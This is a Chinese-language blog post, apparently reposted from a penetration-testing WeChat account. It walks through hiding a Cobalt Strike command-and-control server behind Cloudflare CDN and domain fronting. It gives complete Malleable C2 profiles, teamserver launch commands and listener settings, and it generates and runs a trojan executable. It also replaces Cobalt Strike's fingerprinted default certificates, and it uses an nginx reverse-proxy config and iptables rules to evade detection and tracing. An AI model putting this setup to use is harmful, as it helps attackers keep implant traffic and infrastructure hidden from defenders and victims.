CDN和域名隐藏C2地址 | 干货

admin 2023年12月8日23:57:57评论75 views字数 7431阅读24分46秒阅读模式

准备:

服务器⼀台

cdn运营商

域名

靶机上只会有跟cdn的ip通信的流量,不会有跟真实C2通信的流量,可以保护C2的ip

第一步 利⽤cdn进⾏遮掩(配置cdn)n'g

第⼀步:⾸先,注册cloudflare.com,

cloudflare这是什么东西呢,它可以给你的网站添加CDN,CDN就是当不同地区的用户访问你网站时,就近访问最近的服务器获取数据。而且这个网站还是最快的DNS服务,关键它免费

添加站点

CDN和域名隐藏C2地址 | 干货

CDN和域名隐藏C2地址 | 干货

选择免费的

CDN和域名隐藏C2地址 | 干货

当前页面显示的是cloudflare发现的现有解析记录数据

第二步:把DNS更新到cloudflare上

所以这里要注意去对比一下是否有缺少的解析记录(一般不会缺少)。

然后点继续。来到这里。出现了添加 Cloudflare 名称服务器

CDN和域名隐藏C2地址 | 干货

复制这个地址,我的域名是在godaddy.com买的,在godaddy这里找到更改域名服务器的选项

CDN和域名隐藏C2地址 | 干货

CDN和域名隐藏C2地址 | 干货

然后继续就行了,等待几分钟,如果成功了cloudflare里会收到一封邮件,回到cloudflare,选择名称服务器检查(其实收不到邮件也没事,只要前面步骤都对,等个十来分钟就可以继续下面的操作了)

CDN和域名隐藏C2地址 | 干货

后面就全部默认就行了

第三步:收到邮件提示dns修改完成,添加dns记录

,这里写上你的vps(cs服务端)的ip

CDN和域名隐藏C2地址 | 干货

第四步:多地ping,获取cdn节点服务器的ip地址

CDN和域名隐藏C2地址 | 干货

这里记住几个ip,下面用

第五步:隐藏前的准备,设置cs配置⽂件

CDN 申请完成后,就可以开始编辑 Cobalt Strike 要⽤到的 C2 Profile ⽂件了,直接使⽤开源项⽬ Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们⾃⼰在 CDN 中绑定的 域名 项⽬地址:

https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile

⽂件具体如下

## Amazon browsing traffic profile# # Author: @harmj0y#

set sleeptime "5000";set jitter    "0";set maxdns    "255";set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {

        header "Accept" "*/*";        header "Host" "";

        metadata {            base64;            prepend "session-token=";            prepend "skin=noskin;";            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";            header "Cookie";        }    }

    server {

        header "Server" "Server";        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";        header "X-Frame-Options" "SAMEORIGIN";        header "Content-Encoding" "gzip";

        output {            print;        }    }}

http-post {

    set uri "/N4215/adj/amzn.us.sr.aps";

    client {

        header "Accept" "*/*";        header "Content-Type" "text/xml";        header "X-Requested-With" "XMLHttpRequest";        header "Host" "";

        parameter "sz" "160x600";        parameter "oe" "oe=ISO-8859-1;";

        id {            parameter "sn";        }

        parameter "s" "3717";        parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

        output {            base64;            print;        }    }

    server {

        header "Server" "Server";        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";        header "X-Frame-Options" "SAMEORIGIN";        header "x-ua-compatible" "IE=edge";

        output {            print;        }    }}

把中间的⼏个host改了,毕竟⽊⻢时根据host转发流量和服务端交互,⾛的http 修改19⾏和53⾏的host,改成cdn绑定的域名,然后保存 az.profile

第六步:⽤配置⽂件启动cs服务端,然后上线cs

准备工作:

6.1

本机ping一下我的域名

CDN和域名隐藏C2地址 | 干货

6.2

ip反查域名,记下几个地址(可以选几个出名的域名,例如baidu这些)

CDN和域名隐藏C2地址 | 干货

我选的第一个

服务器直接启动cs服务器

./teamserver xxx.xxx.xxx.xxx password az.profile

然后打开客户端,设置监听器

CDN和域名隐藏C2地址 | 干货

1 HTTP Hosts里写刚才全球ping获得的ip,或者刚才ip发查到的域名

2 host(stager)同1,写别人的域名,举例0028510.com

3. Host Header 写你买的域名,端口80就行

然后设置

接着生成exe

CDN和域名隐藏C2地址 | 干货

选择刚才设置的监听器

上线测试

CDN和域名隐藏C2地址 | 干货

ok,ip变成了刚才设置的cdn ip,查了一下是国内ip,不是我服务端的ip,完成!

看一下域名是否暴露

用Proxifier看一下马子的连接情况

CDN和域名隐藏C2地址 | 干货

黑色打马部分的域名是监听器那种图片里的1位置(HTTP Hosts)的地址,这里不是我的域名

另外一个域名是ip反查出来的

ok我们的c2服务端的域名和ip的隐藏了。

说一下原理

和昨天那篇云函数原理相同,同样是利⽤cdn进⾏了流量转发,这个地⽅我们要明⽩⼀个原理,就是流量⾛了http,在cdn 服务器那进⾏了⼀次转发,这个和host这个头属性有关,可以去百度⼀下host,所以只要我们的流量前 往了cdn服务器,⽆论是⽤什么⽅式,他就认这个,明⽩了这个原理,那么只要我们的流量前往了cdn解 析服务器即可。

CDN和域名隐藏C2地址 | 干货

CDN和域名隐藏C2地址 | 干货

之前我们是⽤cdn服务器的ip进⾏这个操作,但其实,这些cdn服务器就相当于绑定了⼀个域名的服务器,利⽤关联了这个cdn服务器的域名,同样可以进⾏流量转发,从⽽利⽤他⼈的或者⾼信誉度的域名协助我们进⾏隐藏。

我简化一下

cdn转发 --> 我的vps

第⼀步,反查cdn服务器ip下的其他域名

⼤部分步骤和上⾯⼀样,⽽这⾥其实就是利⽤之前我们多地ping获得的cdn服务器ip反查域名,⼿段很 多,fofa啊什么的,这⾥就不多赘述了 获得域名后,开始设置监听器 由于证书检测必须要linux,所以我这个地⽅其实还是出了⼀些问题,没能成功使⽤https上线,证书⼀直 没有设置好,但是原理是⼀样的,这⾥直接⽤http上线也是⼀样的。

可以在上面的cs上线截图里看到,http上⾯使⽤的完全不是我的ip,也不是cdn的ip,⽽是同cdn节点下的域名,但是通过了 host转发我绑定的域名成功实现了shell回归,这样如果是https的话,就成功实现了域名隐藏,即使抓 包,看到的也是我们构造的域名通信(如果运⽓好有⾼信誉度域名就更好),如果此处使⽤了https那么 包也是隐藏了的。⽣成了监听器之后就是继续⽣成⽊⻢然后运⾏了,和之前的步骤是⼀样的,不多赘述。同样,我们可以查⼀下⽊⻢的通信情况,和cs上的shell回弹情况,就知道是否隐藏成功了。

现在我们配置好了http,但这是不够的

为什么呢,我们回到这张图片

CDN和域名隐藏C2地址 | 干货

然后看官们是否还记得启动cs服务端时用到了一个az.profile文件,在这里面也配置了一个host,这里记做为4,ok现在我来解释一下这四个host分别是干什么的

1.HTTP Hosts 这里只做域名解析,这里我写了别人的域名,但是因为它和麋鹿师傅的域名用了同CDN,所以流量会解析到做这台CDN转发的机器上

2.HTTP Host(stager)这个值应该和1写一样,1和2的区别对应分段传输和不分段

刚才不是说到1里解析到了复制CDN转发的机器上了嘛,而cdn就是通过3.HTTP header host的内容,将流量转发到我的vps,应当和profile一致,也是我的域名

而profile里的4.host是配置流量包里header的host,cdn是通过这个host将流量转发到我的域名,这里需要写我的域名

如果这里我们用http(明文传输),host这里肯定是要暴露的。

我用wireshark抓一下我的域名的流量

CDN和域名隐藏C2地址 | 干货

按理说肯定是有host是我的域名的流量,果然正如红框里看到我的域名,暴露了

CDN和域名隐藏C2地址 | 干货

而且1.如果对方有全流量设备,那一定会监测到http header host的,还是会暴露域名

2.如果使用http,中间人能监听

或者更清晰一点解释

这是上线的包

CDN和域名隐藏C2地址 | 干货

1是cdn下的他人域名,二是我的域名

流量里明显有我自己的域名(3处)

而且
当我们不配置profile文件时,上线cs的流量是这样的:

CDN和域名隐藏C2地址 | 干货

特征很明显,所以我们还能在配置文件这里下功夫

继续修改配置文件-证书

cs默认证书一共有三个:

cobaltstrike.storeproxy.storessl.store

cobaltstrike.store :用于服务端和客户端加密通讯proxy.store:用于浏览器代理也就是browserpivot功能ssl.store证书:如果没有配置https-certificate选项,并且使用的是https监听器那么Cs默认就会使用这个证书

我们先查看一下cs默认证书:keytool -list -v -keystore cobaltstrike.store

可以看到特征非常明显,而这些特征早就被各大安全厂商标记烂了

CDN和域名隐藏C2地址 | 干货

我们用nmap进行扫描,也能看到特征

CDN和域名隐藏C2地址 | 干货

因此,cs证书的替换对于隐匿起到了很大的作用。关于证书的生成,我们可以用keytool

Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即.store后缀文件中。

命令:

 -certreq            生成证书请求 -changealias        更改条目的别名 -delete             删除条目 -exportcert         导出证书 -genkeypair         生成密钥对 -genseckey          生成密钥 -gencert            根据证书请求生成证书 -importcert         导入证书或证书链 -importpass         导入口令 -importkeystore     从其他密钥库导入一个或所有条目 -keypasswd          更改条目的密钥口令 -list               列出密钥库中的条目 -printcert          打印证书内容 -printcertreq       打印证书请求的内容 -printcrl           打印 CRL 文件的内容 -storepasswd        更改密钥库的存储口令



使用 "keytool -command_name -help" 获取 command_name 的用法

继续打开我们的clouflare,SSL/TLS → 客户端证书 → 创建证书

CDN和域名隐藏C2地址 | 干货

将证书和私钥进行保存,例如:public.pem、private.pem

CDN和域名隐藏C2地址 | 干货

假设vps开启了nginx服务,我们将存在的证书存放在nginx配置目录下:/usr/local/nginx/cert

生成证书:

openssl pkcs12 -export -in /usr/local/nginx/cert/public.pem -inkey /usr/local/nginx/cert/private.pem -out abc123.com.p12 -name abc123.com -passout pass:123456keytool -importkeystore -deststorepass 123456 -destkeypass 123456-destkeystore abc123.com.store -srckeystore abc123.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias abc123.com

生成 p12 和 store 文件

CDN和域名隐藏C2地址 | 干货

我们将 abc123.com.store文件放入cs目录下,并且修改teamserver启动文件:将其替换成刚刚创建的 abc123.com.store

CDN和域名隐藏C2地址 | 干货

替换后接着扫描,得到结果如下:

CDN和域名隐藏C2地址 | 干货

还是刚才那个github的地址

https://github.com/rsmudge/Malleable-C2-Profiles

配置文件如下

https-certificate {    set keystore "abc123.com.store";  #证书名字    set password "123456";    #证书密码}#以上没有配置域名和证书的时候可以先不写

http-get {    set uri "/milu_image/";    client {        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";        # header "Host" "abc123.com";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Referer" "http://www.google.com";        header "Pragma" "no-cache";        header "Cache-Control" "no-cache";        metadata {            netbios;            append ".jpg";  # 传输内容自动追加的后缀            uri-append;        }    }

    server {        header "Content-Type" "img/jpg";        header "Server" "Microsoft-IIS/6.0";        header "X-Powered-By" "ASP.NET";        output {            base64;  # 加密方式(base64、base64url、netbios、netbiosu)            print;        }    }}

http-post {    set uri "/milu_email/";    client {        header "Content-Type" "application/octet-stream";        #header "Host" "abc123.com";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Referer" "http://www.google.com";        header "Pragma" "no-cache";        header "Cache-Control" "no-cache";        id {            netbiosu;            append ".png";            uri-append;        }        output {            base64;            print;        }    }    server {        header "Content-Type" "img/jpg";        header "Server" "Microsoft-IIS/6.0";        header "X-Powered-By" "ASP.NET";        output {            base64;            print;        }    }}

cs启动

./teamserver ip 密码 abc123.com.profile

CDN和域名隐藏C2地址 | 干货

成功上线,外连ip都是不断变化的,且为cdn地址

CDN和域名隐藏C2地址 | 干货

另一个思路 nginx反向代理隐藏+cdn

当然,我们还可对nginx进行配置,增加反向代理的功能

通过nginx.conf 进行配置,可以对存在的user-agent头进行比对,或者限制访问路径,例如:milu_image/* milu_email/*

当满足上面条件时,才进行流量转发到真正上线端口,不然返回一个正常页面,这么做很有迷惑性

咱们这里监听443端口,进行流量转发(未进行多余设置,只是方便理解)

server {

    #配置cs上线有关    set $C2_SERVER https://127.0.0.1:2083;    # set $REDIRECT_DOMAIN https://baidu.com;

    listen 443 ssl default_server;    server_name abc123.com; #你的域名    ssl_certificate /usr/local/nginx/cert/public.pem; #公钥    ssl_certificate_key /usr/local/nginx/cert/private.pem; #私钥



    #设置和cs上线        location / {

            proxy_pass          $C2_SERVER;                        # If you want to pass the C2 server's "Server" header through then uncomment this line            # proxy_pass_header Server;            # expires             off;            # proxy_redirect      off;            # proxy_set_header    Host                $host;            # proxy_set_header    X-Forwarded-For     $proxy_add_x_forwarded_for;            # proxy_set_header    X-Real-IP           $remote_addr;        }

    }

监听器配置如下:

CDN和域名隐藏C2地址 | 干货

abc123.com都是本人的域名

最后也是成功上线

当然有个问题,由于我们使用的是反向代理,cs显示的是localhost,如果想获取真正的外网ip,需要在nginx.conf 配置文件进行设置

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #p配置nginx 转发源ip

CDN和域名隐藏C2地址 | 干货

最后,为了防止被溯源到端口,我们还可以对2083端口进行限制,只允许本地访问:

iptables -I INPUT -p TCP --dport 2083 -j DROP iptables -I INPUT -s 127.0.0.1 -p TCP --dport 2083 -j ACCEPT service iptables restart

原文始发于微信公众号(渗透安全团队):CDN和域名隐藏C2地址 | 干货

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月8日23:57:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CDN和域名隐藏C2地址 | 干货http://cn-sec.com/archives/2281864.html

发表评论

匿名网友 填写信息